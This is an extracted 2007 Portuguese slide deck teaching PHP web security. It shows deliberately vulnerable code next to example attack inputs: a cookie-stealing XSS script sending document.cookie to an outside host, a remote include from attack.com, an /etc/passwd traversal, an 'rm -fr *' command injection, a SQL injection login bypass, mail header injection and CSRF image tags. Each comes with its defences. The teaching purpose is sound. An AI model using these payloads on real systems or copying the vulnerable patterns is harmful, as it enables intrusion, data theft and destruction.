![Page 1: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/1.jpg)
Segurança em aplicações Web
Exemplos e Casos Práticos em
Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007
![Page 2: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/2.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 3: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/3.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 4: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/4.jpg)
Register Globals Configuração do PHP insegura Não usar / desactivar !!
<?php if ($user == 'user' && $pass == 'pass') { $autenticado = true; }
if ($autenticado) { mostra_info_confidencial(); }
?>
script.php?autenticado=1
<?php $autenticado = false;
if ($_POST[‘user’] === 'user'
(...)?>
register_globals=Off
![Page 5: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/5.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 6: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/6.jpg)
Paths Includes perigosos levam a execução
remota de código Visualização de ficheiros confidenciais
<?php
include "$file.inc"; //include "http://attack.com/script.inc";
?>
script.php?file=http://attack.com/script
<?php
readfile($file);
?>
script.php?file=../../../../etc/passwd
basename() / dirname()
realpath()
pathinfo()
allow_url_fopen/include=Off
![Page 7: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/7.jpg)
Paths Execução de comandos no servidor
<?php
system("ls $opts"); //system("ls -la | rm –fr *");
?>
script.php?opts=-la | rm –fr *
escapeshellarg()
escapeshellcmd()
safe_mode=On (be careful..)
<?php
if (substr($_GET['p'], -5) == '.html') { readfile($_GET['p']);}
?>
script.php?p=script.php%00.html
![Page 8: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/8.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 9: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/9.jpg)
Cross-Site Scripting (XSS)
Inserção de HTML/JavaScript numa página (através de variáveis não filtradas)
Permite roubo de sessões, passwords, etc..
<script>
document.location = 'http://example.org/steal_cookies.php?cookie=' + document.cookie
</script>strip_tags()
htmlentities() / htmlspecialchars()
![Page 10: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/10.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 11: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/11.jpg)
Response Splitting / Header Injection
Inserção de headers HTTP no cliente Perigos similares ao XSS
<?php
header("Location: “ . $_GET['p']);
?>
script.php?p=\r\nSet-Cookie: key=val
![Page 12: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/12.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 13: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/13.jpg)
Mail Injection
Maioritariamente usado para envio de SPAM
<?php
$headers = "From: " . $_GET['from'];mail($to, $subject, $msg, $headers);?>
script.php?from=x\r\nBcc:[email protected]
![Page 14: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/14.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 15: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/15.jpg)
Cross-Site Request Forgeries (CSRF)
Método pouco usado em exploits (por enquanto…)
Mas muito poderoso e difícil de defender Bastante transversal
"sea surf"
[img]http://your.forums/newreply.php?action=newthread&subject=aaa&body=some+naughty+words&submit=go[/img]
<img src="http://192.168.0.1/admin/buy_stocks.php?number=all">
![Page 16: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/16.jpg)
Cross-Site Request Forgeries (CSRF)
Não há “receitas”, depende do programa Usar POST em vez de GET Forçar o uso de forms próprios via TOKEN
aleatório
"sea surf"
![Page 17: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/17.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 18: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/18.jpg)
SQL Injection
Fácil de evitar: Filtrar dados por tipo Usar aspas Prepared statements Não mostrar erros (i.e. mysql_error())
![Page 19: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/19.jpg)
SQL Injection
<?
$sql = "SELECT * FROM tabela WHERE user='$user' AND pass='$pass'"; $q = mysql_query($sql) or die(mysql_error());
if (mysql_num_rows($q) == 1) { $auth = true; }
?>
script.php?user=admin' OR '1'='1&pass=
SELECT * FROM tabela WHERE user='admin' OR '1'='1' AND pass=' '
![Page 20: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/20.jpg)
SQL Injection Usar cast explícito para inteiros mysql_real_escape_estring() Usar hashes nos códigos (md5()/sha1()) Cuidado com wildcards (‘...LIKE “%aeiou%”’) Atenção às queries múltiplas
<? $an_int = (int) $_GET['an_int'];
if ($an_int < 0 || $an_int > 50) display_user_error();
?>
![Page 21: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/21.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 22: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/22.jpg)
Session Hijacking
“Roubo” de sessões Sem SSL, fazer lock ao User Agent Usar SSL e fazer lock ao IP (e ao
certificado do cliente) Usar apenas cookies (evita URLs do tipo
script.php?PHPSESSID=jfh92lpgmc7s6fj e ataques pelo HTTP REFERER)
![Page 23: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/23.jpg)
Session Fixation
Advém de Engenharia Social Usar session_regenerate_id() depois do
login Sessão do atacante deve ficar sem
privilégios
![Page 24: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/24.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões
![Page 25: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/25.jpg)
Links
php.net/manual/security www.owasp.org www.securityfocus.com www.phpsecure.info www.net-force.nl ilia.ws/files/quebec_security2007.pdf
mega.ist.utl.pt/~ncpl/pres/
![Page 26: Segurança em aplicações Web Exemplos e Casos Práticos em Nuno Lopes, NEIIST – 7º Ciclo de Apresentações. 28/Março/2007](https://reader035.vdocuments.pub/reader035/viewer/2022062512/552fc102497959413d8bdef6/html5/thumbnails/26.jpg)
Agenda: Register Globals Paths Cross-Site Scripting (XSS) Response Splitting / Header Injection Mail Injection Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking
Links Questões